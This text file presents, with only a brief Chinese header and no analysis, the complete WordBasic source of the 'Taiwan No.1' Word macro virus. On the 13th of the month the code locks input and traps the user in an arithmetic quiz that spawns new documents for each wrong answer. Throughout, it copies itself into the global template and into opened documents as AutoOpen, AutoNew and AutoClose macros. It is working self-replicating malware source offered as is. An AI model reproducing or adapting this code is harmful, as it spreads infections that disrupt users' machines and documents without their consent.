台湾no.1 word宏病毒源码.txt

宏病毒代码(著名的台湾1号宏病毒）

台湾NO.1 WORD宏病毒源码 ：

Dim Shared nm(4) 
Sub MAIN 
DisableInput 1 
If Day(Now()) = 13 Then 
try: 
On Error Goto 0 
On Error Goto try 
test = - 1 
con = 1 
tog$ = "" 
i = 0 

　　　　　　　　While test = - 1 

　　　　　　　　　　　　For i = 0 To 4 
　　　　　　　　　　　　nm(i) = Int(Rnd() * 10000)　　　　　　　　　　　　　　　 
　　　　　　　　　　　　con = (con * nm(i)) 
　　　　　　　　　　　　If i = 4 Then 
　　　　　　　　　　　　tog$ = tog$ + Str$(nm(4)) + " =?" 
　　　　　　　　　　　　Goto beg 
　　　　　　　　　　　　End If 
　　　　　　　　　　　　tog$ = tog$ + Str$(nm(i)) + " *" 
　　　　　　　　　　　　Next i 
beg:　　　　　　 
　　　　　　　　　　　　Beep 
　　　　　　　　　　　　ans$ = InputBox$("今天是 " + Date$() + " ,跟你玩一个 
心算游戏" + 
Chr$(13) + \ 
"若你答错,只好接受震撼教育.............." + Chr$(13) + \ 
tog$, "台湾 NO.1 Macro Virus") 
　　　　　　　　If RTrim$(LTrim$(ans$)) = LTrim$(Str$(con)) Then 
　　　　　　　　　　　　MsgBox "恭贺你答对了,按确定就告诉你想知道的....", \ 
　　　　　　　　　　　　　　　　　　　　"台湾 NO.1 Macro Virus" 
　　　　　　　　　　　　FileNewDefault 
　　　　　　　　　　　　CenterPara 
　　　　　　　　　　　　FormatFont .Font = "细明体", .Points = 16,　 
.Bold = 1, .Underline = 1　　 
　　　　　　　　　　　　Beep 
　　　　　　　　　　　　Insert "何谓巨集病毒　" 
　　　　　　　　　　　　InsertPara 
　　　　　　　　　　　　Beep 
　　　　　　　　　　　　Insert "答案:" 
　　　　　　　　　　　　Italic 1 
　　　　　　　　　　　　Insert "我就是....." 
　　　　　　　　　　　　InsertPara 
　　　　　　　　　　　　InsertPara 
　　　　　　　　　　　　Italic 0 
　　　　　　　　　　　　FormatFont .Font = "细明体", .Points = 16, 
.Bold = 1, .Underline = 1　　 
　　　　　　　　　　　　Beep 
　　　　　　　　　　　　Insert "如何预防巨集病毒　" 
　　　　　　　　　　　　InsertPara 
　　　　　　　　　　　　Beep 
　　　　　　　　　　　　Insert "答案:" 
　　　　　　　　　　　　Italic 1 
　　　　　　　　　　　　Insert "不要看我....." 
　　　　　　　　　　　　Goto exit 
　　　　　　　　　　　　Else 
　　　　　　　　　　　　For j = 1 To 20 
　　　　　　　　　　　　Beep 
　　　　　　　　　　　　FileNewDefault 
　　　　　　　　　　　　Next j　 
　　　　　　　　　　　　CenterPara 
　　　　　　　　　　　　FormatFont .Font = "细明体", .Points = 16, 
.Bold = 1, .Underline = 1　　 
　　　　　　　　　　　　Insert "巨集病毒" 
　　　　　　　　　　　　Goto try 
　　　　　　　　　　　　End If 

　　　　　　　　Wend 
　　　　　　　　　　　　End If 

nor = CountMacros(0) 
If nor > 0 Then 
　　　　For kk = 1 To nor 
　　　　　　　　If MacroName$(kk, 0) = "AutoOpen" Then 
　　　　　　　　t = 1 
　　　　　　　　End If 
　　　　　　　　Next kk 
　　　　　　　　 
End If　 

file$ = FileName$() 
filem$ = file$ + ":AutoOpen" 
If t <> 1 Then 
　　　　MacroCopy filem$, "AutoOpen" 
　　　　MacroCopy filem$, "AutoNew" 
　　　　MacroCopy filem$, "AutoClose" 
End If 

nor1 = CountMacros(1) 
If nor1 > 0 Then 
　　　　For kkk = 1 To nor1 
　　　　　　　　If MacroName$(kkk, 1) = "AutoOpen" Then 
　　　　　　　　tt = 1 
　　　　　　　　End If 
　　　　　　　　Next kkk 
　　　　　　　　 
End If　 

If tt <> 1 Then 
　　　　FileSaveAs .Format = 1 
　　　　MacroCopy "AutoOpen", filem$　　 
End If